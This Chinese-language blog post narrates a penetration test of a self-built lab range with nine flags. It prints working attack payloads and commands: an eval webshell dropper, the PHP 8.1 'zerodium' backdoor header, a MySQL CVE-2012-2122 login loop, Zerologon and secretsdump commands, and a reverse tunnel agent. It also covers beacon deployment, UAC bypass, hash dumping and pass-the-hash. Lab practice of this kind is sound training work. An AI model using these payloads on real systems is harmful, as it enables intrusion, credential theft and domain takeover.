记一次内部自主搭建靶场的渗透

2022-02-09 10:03:15 浏览数 (2)

前言

该靶场由内部成员搭建,关注公众号:红队蓝军,回复 靶场 即可获取靶场。

配置

VMnet18:172.18.50.0

VMnet19:10.10.10.0

image-20220110122207212.pngimage-20220110122207212.png

导入后恢复快照后进行配置

一层帝国CMS

根据站库分离桥接模式分配的ip地址修改帝国CMSC:phpstudy_proWWWuploadeconfig路径下的config.php文件如下所示

image-20220110125217813.pngimage-20220110125217813.png

外网打点

首先对nmap对当前网段主机进行端口扫描,可以看到有4台主机存活

代码语言:c复制
nmap -sN -PE 192.168.1.0/24

192.168.1.9开放了22端口即ssh服务,192.168.1.10开放了8080端口猜测是一个web服务,192.168.1.11开放了3306端口即mysql服务,192.168.1.12和192.168.1.13没有扫描出端口特征,但是主机名分别为hack1和hack2

image-20220106224806280.pngimage-20220106224806280.png

那么首先访问下hack1,80端口下是一个PBOOTCMS

image-20220106225838040.pngimage-20220106225838040.png

通过http://192.168.1.12/doc/ChangeLog.txt确定具体版本为V2.0.8

image-20220106230315258.pngimage-20220106230315258.png

google一下只有2.0.7和2.0.9的,2.0.8需要进入后台进行构造

image-20220106230343850.pngimage-20220106230343850.png

来到后台页面

image-20220106225956551.pngimage-20220106225956551.png

通过弱口令admin/admin123进入后台

image-20220106230103299.pngimage-20220106230103299.png

然后通过构造代码执行,但是执行不了,可能是洞被修了

image-20220106230423008.pngimage-20220106230423008.png

然后再用nmap对192.168.1.12进行具体的扫描,得到88端口,访问是一个帝国cms

image-20220106230454732.pngimage-20220106230454732.png

通过/e/admin来到后台

image-20220106230520247.pngimage-20220106230520247.png

还是弱口令admin/admin123进入后台

image-20220106230601253.pngimage-20220106230601253.png

EmpireCMS 7.5版本及之前版本在后台备份数据库时,未对数据库表名做验证,通过修改数据库表名可以实现任意代码执行。EmpireCMS7.5版本中的/e/class/moddofun.php文件的”LoadInMod”函数存在安全漏洞,攻击者可利用该漏洞上传任意文件。

点击导入系统模型

image-20220106230622053.pngimage-20220106230622053.png

然后在本地生成一个1.php并改名为1.php.mod上传

代码语言:php复制
<?php file_put_contents("getshell.php","<?php @eval($_POST[cmd]); ?>");?>
image-20220106230826886.pngimage-20220106230826886.png

访问一下没有报错证明上传成功

image-20220106230855730.pngimage-20220106230855730.png

蚁剑连接http://192.168.1.12:88/e/admin/getshell.php即可得到webshell

image-20220106230918056.pngimage-20220106230918056.png

这里我们拿到webshell后发现h是通过phpstudy搭建的,一个web在80端口,一个在88端口

image-20220106230938847.pngimage-20220106230938847.png

在根目录下找到了第一个flag

image-20220106231017360.pngimage-20220106231017360.png
image-20220106231024526.pngimage-20220106231024526.png

然后查看一下config.php配置文件,发现是一个站库分离,且ip为192.168.1.13,就是我们之前通过nmap扫描到的hack2

image-20220106231111082.pngimage-20220106231111082.png

用蚁剑自带的数据库可视化功能去连接

image-20220106231140699.pngimage-20220106231140699.png

注意这里不能选择mysql,选择mysql必须是默认端口的情况下

image-20220106231201046.pngimage-20220106231201046.png

选在MYSQLI自定义3308端口进行连接

image-20220106231237706.pngimage-20220106231237706.png

得到第二个flag

image-20220106233008347.pngimage-20220106233008347.png

然后我们再看看之前扫到的8080端口,开局只有一个hello world

image-20220107100450603.pngimage-20220107100450603.png

这里有两种方法,一种是通过Wappalyzer插件查看是一个php8.1

image-20220107100507059.pngimage-20220107100507059.png

或者抓包发送查看

image-20220107100659962.pngimage-20220107100659962.png

通过搜索引擎查询php8.1存在一个后门漏洞,直接使用payload

代码语言:c 复制
User-Agentt: zerodiumsystem("ls");
image-20220107100750217.pngimage-20220107100750217.png

得到了第三个flag

image-20220107100809796.pngimage-20220107100809796.png

这里其实拿到了两台主机的权限,在进行信息搜集过后,并没有发现mysql和ssh的密码,那么先往内网里面继续进行渗透

内网渗透

这里ipconfig一下,发现有双网卡,另一张网卡通向10.10.10.0/24段

image-20220107101134614.pngimage-20220107101134614.png

那么用cs生成一个木马上传

image-20220107101318804.pngimage-20220107101318804.png

然后执行命令上线cs,这里我用powershell没有回显不知道咋回事orz...

image-20220107101417668.pngimage-20220107101417668.png

然后进行同网段存活主机的扫描,这里一般会用cs自带的端口扫描,但是这里如果用他自带的端口扫描就有一个弊端,cs的端口扫描默认是扫一个大段,而这里又是10段的ip,所以如果使用cs自带的端口扫描的话时间就会偏长

image-20220107101651028.pngimage-20220107101651028.png

那么这里我们直接自己使用命令扫描10.10.10.1-10.10.10.255的存活主机

代码语言:c 复制
portscan 10.10.10.1-255 1-1000,3389,6000-9999
image-20220107102020458.pngimage-20220107102020458.png

扫完之后我们得到了一个ip为10.10.10.10的存货主机且有7001特征端口

image-20220107102258499.pngimage-20220107102258499.png

那么首先进行流量代理,这里我用的是venom,cs的代理不稳定所以我就没有使用

image-20220107102423166.pngimage-20220107102423166.png

本地监听9999端口

代码语言:c复制
admin.exe -lport 9999
image-20220107102430326.pngimage-20220107102430326.png

执行命令代理到本地的6666端口

代码语言:c复制
agent.exe -rhost 192.168.1.2 -rport 9999
image-20220107102527123.pngimage-20220107102527123.png

然后配置浏览器代理

image-20220107102557725.pngimage-20220107102557725.png
image-20220107102652342.pngimage-20220107102652342.png

即可访问到7001端口

image-20220107102716414.pngimage-20220107102716414.png

这里假如不知道7001端口为weblogic特征端口,就可以拿着报错去百度,也能够得到为weblogic框架

image-20220107102911630.pngimage-20220107102911630.png

再访问一下weblogic的后台

image-20220107102947083.pngimage-20220107102947083.png

得到weblogic的版本为12.2.1.3,这里weblogic的漏洞应该是CVE-2018-2894,但是需要进入后台打开web测试页,这里尝试了弱口令并没有登入成功

image-20220107103044362.pngimage-20220107103044362.png

只能在之前两台主机里面进行信息搜集,在数据库里面发现了疑似后台的账号密码

image-20220107103607610.pngimage-20220107103607610.png

登入成功

image-20220107103743131.pngimage-20220107103743131.png

打开web测试页

image-20220107103804032.pngimage-20220107103804032.png
image-20220107103812388.pngimage-20220107103812388.png

访问http://10.10.10.10:7001/ws_utc/config.do这里的工作目录不修改直接上传jsp的话是访问不到的,所以我们需要将路径更改为我们能够有权限访问的目录

image-20220107103859791.pngimage-20220107103859791.png

修改工作目录为以下路径

代码语言:c 复制
C:OracleMiddlewareOracle_Homeuser_projectsdomainsbase_domainserversAdminServertmp_WL_internalcom.oracle.webservices.wls.ws-testclient-app-wls4mcj4ywarcss
image-20220107113632050.pngimage-20220107113632050.png

再上传Keystore,这里上传冰蝎马即可

image-20220107113617306.pngimage-20220107113617306.png

然后f12审查元素得到时间戳为1641526585016

image-20220107113735143.pngimage-20220107113735143.png

构造得到http://10.10.10.10:7001/ws_utc/css/config/keystore/1641527581712_ice.jsp,访问一下没有报错证明上传成功

image-20220107115336593.pngimage-20220107115336593.png

开启冰蝎代理

image-20220107115422567.pngimage-20220107115422567.png

连接成功

image-20220107115449900.pngimage-20220107115449900.png

在根目录下找到了第4个flag

image-20220107115503790.pngimage-20220107115503790.png

还发现了一个root.txt,之前好像也没有扫出tomcat,试着连一下ssh

image-20220107115523319.pngimage-20220107115523319.png
image-20220107115628145.pngimage-20220107115628145.png

连接成功,拿到了第五个flag

image-20220107115646538.pngimage-20220107115646538.png

然后ipconfig看一下,有一张10.10.10.0/24段的网卡,这里上cs的话就要注意了,因为是处于不出网环境,就需要用到TCP beacon进行上线

这里参考了hxd的不出网主机的几种上线方式

这种方式一般试用于:密码撞不上,内网机器有web服务。

image-20220107120411926.pngimage-20220107120411926.png

我们首先需要建立一个TCP Beacon的监听

image-20220107120404172.pngimage-20220107120404172.png

这里需要用到无状态的后门,即Stageless,相对的就是Stager

Stager是分步式,分阶段的,只用少部分代码来请求和加载payload,cs的加载payload模式为反射加载beacon.dll,但这个beacon.dll并不在可执行文件中,而是在远程C2服务端。 Stageless则是将beacon.dll包含在可执行文件中,并且可能有写额外的操作,于是文件比较大,特征也更明显,但是适合横向不出网机器,因为不出网所以有可能请求不了c2服务端上的beacon.dll。

image-20220107120426730.pngimage-20220107120426730.png
image-20220107120446295.pngimage-20220107120446295.png

将生成的beacon.exe上传到根目录下,但是这里有个问题,因为我们拿到的是一个user权限的webshell,因为权限的问题是不能直接在根目录进行操作的,所以报错,这里就需要找一个能够可执行的路径,一般是tmp目录

image-20220107120554098.pngimage-20220107120554098.png

这里成功上传

image-20220107120622108.pngimage-20220107120622108.png

然后执行beacon.exe

image-20220107120636322.pngimage-20220107120636322.png

使用connect 10.10.10.10命令连接即可上线cs

image-20220107120656650.pngimage-20220107120656650.png

然后因为这里是一个user权限,能操作的空间比较小,所以我们需要先进行提权

image-20220107120822548.pngimage-20220107120822548.png

先用了插件提权,把梼杌的提权插件试完了都没有成功。这里提权有点坑,我们放到下半部分来继续说。

image-20220107121344289.pngimage-20220107121344289.png

这里因为是1904的系统,尝试使用bypassuac进行提权,原理的话就是有一些系统程序是会直接获取管理员权限同时不弹出UAC弹窗,这类程序被称为白名单程序。 这些程序拥有autoElevate属性的值为True,会在启动时就静默提升权限。

那么我们要寻找的uac程序需要符合以下几个要求:

程序的manifest标识的配置属性 autoElevate 为true 程序不弹出UAC弹窗 从注册表里查询ShellOpencommand键值对

这里直接使用到github上的bypassuac

image-20220107121431183.pngimage-20220107121431183.png

执行shell C:tmpbypassuac.exe C:tmpbeacon.exe

image-20220107121707210.pngimage-20220107121707210.png

然后在入口主机执行connect 10.10.10.10即可上线,这里我们看一下提权上线后的右上角是有一个*号的

image-20220107121721076.pngimage-20220107121721076.png

在之前我们没有提权的beacon上执行shell whoami /priv可以看到是没有调试权限的

image-20220107121814660.pngimage-20220107121814660.png

再到我们提权后的beacon执行,有了调试程序的权限,这里其实已经相当于是一个管理员的权限了,可以抓取密码

image-20220107121837968.pngimage-20220107121837968.png

在之前的beacon上执行hashdump会报错没有调试权限

image-20220107122435929.pngimage-20220107122435929.png

在提权后的beacon成功执行hashdump

image-20220107122452483.pngimage-20220107122452483.png

到这里我们就上线了两台主机了,这里难道同网段就没有主机存活了吗,那么我们在10.10.10.10这台主机上再执行命令进行一次扫描

image-20220107122747395.pngimage-20220107122747395.png

扫到另外一台存活主机的IP为10.10.10.30开放了445端口,这里因为设置了入站规则所以在10.10.10.5主机上是扫描不到这台10.10.10.30的主机的

image-20220107123931789.pngimage-20220107123931789.png

这里使用tasklist /svc查看进程发现用chrome.exe进程

image-20220107123957991.pngimage-20220107123957991.png

使用梼杌插件的抓取chrome保存的信息发现有一个hack4的账号

image-20220107124102094.pngimage-20220107124102094.png

那么很可能这是10.10.10.30这台主机的账号跟密码,这里就使用到smb beacon尝试使用psexec上线,这里首先创建一个SMB beacon

image-20220107124139187.pngimage-20220107124139187.png

这里使用到psexec进行pth

image-20220107124157770.pngimage-20220107124157770.png

报错是could not upload file:5,这个报错产生的原因就是不能打开匿名管道,我们知道psexec的原理就是通过打开admin$管道来实现横向移动。

image-20220107124229387.pngimage-20220107124229387.png

那么这里猜测可能要使用管理员的账户去pth,密码的话还是相同

image-20220107140040589.pngimage-20220107140040589.png

这里使用管理员的账户成功pth

image-20220107140047078.pngimage-20220107140047078.png

上线是一个system权限的beacon

image-20220107140059157.pngimage-20220107140059157.png

在根目录下发现两个txt

image-20220107140120830.pngimage-20220107140120830.png

成功拿到第6个flag,还有一个mysql.txt,这里我们之前在192段进行扫描的时候发现了一台主机开放了3306端口,进行连接的尝试

image-20220107140152464.pngimage-20220107140152464.png

这里使用navicat连接是连接成功了,但是翻半天也没有找到flag在哪

image-20220107140938072.pngimage-20220107140938072.png

这里使用goby去扫一下

image-20220107141128017.pngimage-20220107141128017.png

发现存在cve-2012-2122,这个漏洞的原理为,当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。 也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。按照公告说法大约256次就能够蒙对一次。

image-20220107141140787.pngimage-20220107141140787.png

发送exp过去验证一下,是能够利用的

image-20220107141353447.pngimage-20220107141353447.png

在kali里面使用exp进行攻击,使用的是root账户

代码语言:c 复制
for i in `seq 1 1000`; do mysql -uroot -pwrong -h 192.168.1.11  ; done
image-20220107141444710.pngimage-20220107141444710.png

通过数据库语句查询拿到了第七个flag

image-20220107141517786.pngimage-20220107141517786.png

然后再对10.10.10.30这台主机进行信息搜集,发现为双网卡,其中一张网卡通向172.18.50.0/24段

image-20220107141542895.pngimage-20220107141542895.png

那么我们再对172.18.50.0/24段进行存活主机扫描

代码语言:c 复制
portscan 172.18.50.1-255 1-1000,3389,5000-6000
image-20220107142045780.pngimage-20220107142045780.png

发现172.18.50.9开放了80端口

image-20220107142119530.pngimage-20220107142119530.png

这里cs开一个socks代理端口

image-20220107142144119.pngimage-20220107142144119.png

访问一下是一个通达oa

image-20220107143057742.pngimage-20220107143057742.png

这里通过通达oa的远程命令执行rce拿到shell

image-20220107144334829.pngimage-20220107144334829.png

在根目录下发现了第8个flag

image-20220107144435322.pngimage-20220107144435322.png

然后还是使用tcp beacon上线cs

image-20220107144456491.pngimage-20220107144456491.png

执行beacon.exe

image-20220107144532161.pngimage-20220107144532161.png

在172.18.50.9主机上执行connect 172.18.50.35进行连接

上线之后执行hashdump抓取密码

image-20220107145234680.pngimage-20220107145234680.png

尝试直接进行pth连接域控失败,1326报错的原因是错误的用户名或密码

image-20220107145241415.pngimage-20220107145241415.png

那么继续进行信息搜集,发现在redteam.com域内,这里进行了一系列尝试都失败,这里用到cve-2020-1472进行攻击

image-20220107145414826.pngimage-20220107145414826.png

先socks配合proxifier代理流量到本地

image-20220107145540691.pngimage-20220107145540691.png

使用poc监测到DC存在CVE-2020-1472漏洞

image-20220107154039846.pngimage-20220107154039846.png

先把域控的密码置空

代码语言:python代码运行次数:0复制
python cve-2020-1472-exploit.py DC$ 172.18.50.9
image-20220107154155552.pngimage-20220107154155552.png

然后使用impacket里面的secretsdump.py获取hash

代码语言:python代码运行次数:0复制
python secretsdump.py redteam/DC$@172.18.50.9 -nopass
image-20220107154247786.pngimage-20220107154247786.png

这里拿到了管理员的hash,那么还是使用SMB beacon进行pth

1.png1.png

pth成功

image-20220107154541171.pngimage-20220107154541171.png

成功上线

02.png02.png

拿到第九个flag,渗透任务完成

image-20220107154741750.pngimage-20220107154741750.png

0 人点赞